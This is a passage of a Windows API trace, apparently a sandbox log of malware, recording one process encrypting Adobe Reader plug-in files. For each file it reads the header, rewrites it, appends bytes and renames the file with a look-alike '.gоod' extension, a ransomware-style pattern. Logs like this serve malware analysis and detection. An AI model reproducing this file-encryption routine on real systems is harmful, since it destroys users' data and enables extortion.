dc\\reader\\plug_ins\\readoutloud.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0097.133] GetFileType (hFile=0x768) returned 0x1 [0097.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0097.133] GetFileType (hFile=0x768) returned 0x1 [0097.133] ReadFile (in: hFile=0x768, lpBuffer=0x394d5a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x394d5a0*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0097.755] CloseHandle (hObject=0x768) returned 1 [0097.755] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", lpFilePart=0x0) returned 0x4e [0097.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0097.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0097.755] GetFileType (hFile=0x768) returned 0x1 [0097.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0097.756] GetFileType (hFile=0x768) returned 0x1 [0097.756] WriteFile (in: hFile=0x768, lpBuffer=0x3244778*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x3244778*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0097.756] CloseHandle (hObject=0x768) returned 1 [0097.756] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", lpFilePart=0x0) returned 0x4e [0097.756] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api.gоod", lpFilePart=0x0) returned 0x53 [0097.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0097.756] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x367c0757, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a673)) returned 1 [0097.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0097.756] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api.gоod")) returned 1 [0097.757] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", lpFilePart=0x0) returned 0x49 [0097.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0097.757] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api"), fInfoLevelId=0x0, lpFileInformation=0x33b3ba0 | out: lpFileInformation=0x33b3ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa8c7f9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x54263)) returned 1 [0097.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0097.758] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", lpFilePart=0x0) returned 0x49 [0097.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0097.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0097.758] GetFileType (hFile=0x768) returned 0x1 [0097.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0097.758] GetFileType (hFile=0x768) returned 0x1 [0097.758] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0097.758] ReadFile (in: hFile=0x768, lpBuffer=0x33b3fb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x33b3fb8*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0097.760] CloseHandle (hObject=0x768) returned 1 [0097.760] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", lpFilePart=0x0) returned 0x49 [0097.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0097.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0097.760] GetFileType (hFile=0x768) returned 0x1 [0097.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0097.760] GetFileType (hFile=0x768) returned 0x1 [0097.760] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x54263 [0097.761] WriteFile (in: hFile=0x768, lpBuffer=0x33b53a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x33b53a8*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0097.762] CloseHandle (hObject=0x768) returned 1 [0097.762] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", lpFilePart=0x0) returned 0x49 [0097.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0097.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0097.763] GetFileType (hFile=0x768) returned 0x1 [0097.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0097.763] GetFileType (hFile=0x768) returned 0x1 [0097.763] ReadFile (in: hFile=0x768, lpBuffer=0x33b7688, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x33b7688*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0098.945] CloseHandle (hObject=0x768) returned 1 [0098.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", lpFilePart=0x0) returned 0x49 [0098.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0098.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0098.945] GetFileType (hFile=0x768) returned 0x1 [0098.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0098.945] GetFileType (hFile=0x768) returned 0x1 [0098.945] WriteFile (in: hFile=0x768, lpBuffer=0x3263d50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x3263d50*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0098.945] CloseHandle (hObject=0x768) returned 1 [0098.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api", lpFilePart=0x0) returned 0x49 [0098.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api.gоod", lpFilePart=0x0) returned 0x4e [0098.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0098.945] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa8c7f9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3730e7d4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x54273)) returned 1 [0098.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0098.946] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\reflow.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\reflow.api.gоod")) returned 1 [0098.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", lpFilePart=0x0) returned 0x4c [0098.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0098.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api"), fInfoLevelId=0x0, lpFileInformation=0x3529b88 | out: lpFileInformation=0x3529b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfab2a59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6a663)) returned 1 [0098.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0098.947] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", lpFilePart=0x0) returned 0x4c [0098.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0098.947] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0098.947] GetFileType (hFile=0x768) returned 0x1 [0098.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0098.947] GetFileType (hFile=0x768) returned 0x1 [0098.947] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0098.947] ReadFile (in: hFile=0x768, lpBuffer=0x3529fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3529fc0*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0098.950] CloseHandle (hObject=0x768) returned 1 [0098.950] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", lpFilePart=0x0) returned 0x4c [0098.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0098.950] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0098.950] GetFileType (hFile=0x768) returned 0x1 [0098.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0098.951] GetFileType (hFile=0x768) returned 0x1 [0098.951] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x6a663 [0098.951] WriteFile (in: hFile=0x768, lpBuffer=0x3539ee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3539ee8*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0098.952] CloseHandle (hObject=0x768) returned 1 [0098.952] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", lpFilePart=0x0) returned 0x4c [0098.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0098.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0098.952] GetFileType (hFile=0x768) returned 0x1 [0098.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0098.953] GetFileType (hFile=0x768) returned 0x1 [0098.953] ReadFile (in: hFile=0x768, lpBuffer=0x353e088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x353e088*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0098.985] CloseHandle (hObject=0x768) returned 1 [0098.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", lpFilePart=0x0) returned 0x4c [0098.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0098.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0098.986] GetFileType (hFile=0x768) returned 0x1 [0098.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0098.986] GetFileType (hFile=0x768) returned 0x1 [0098.986] WriteFile (in: hFile=0x768, lpBuffer=0x353cdd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x353cdd0*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0098.986] CloseHandle (hObject=0x768) returned 1 [0098.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api", lpFilePart=0x0) returned 0x4c [0098.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api.gоod", lpFilePart=0x0) returned 0x51 [0098.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0098.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfab2a59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3735acb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6a673)) returned 1 [0098.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0098.986] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\SaveAsRTF.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\saveasrtf.api.gоod")) returned 1 [0098.987] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", lpFilePart=0x0) returned 0x49 [0098.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0098.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api"), fInfoLevelId=0x0, lpFileInformation=0x35c1518 | out: lpFileInformation=0x35c1518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2df53af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69463)) returned 1 [0098.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0098.987] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", lpFilePart=0x0) returned 0x49 [0098.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0098.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.035] GetFileType (hFile=0x768) returned 0x1 [0099.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0099.036] GetFileType (hFile=0x768) returned 0x1 [0099.330] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0099.330] ReadFile (in: hFile=0x768, lpBuffer=0x3642d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3642d60*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0099.455] CloseHandle (hObject=0x768) returned 1 [0099.456] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", lpFilePart=0x0) returned 0x49 [0099.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0099.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\search.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.456] GetFileType (hFile=0x768) returned 0x1 [0099.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0099.456] GetFileType (hFile=0x768) returned 0x1 [0099.456] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x69463 [0099.456] WriteFile (in: hFile=0x768, lpBuffer=0x3743148*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3743148*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0099.462] CloseHandle (hObject=0x768) returned 1 [0099.462] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api", lpFilePart=0x0) returned 0x49 [0099.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0099.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Search.api" (normalized: "c:\\program files 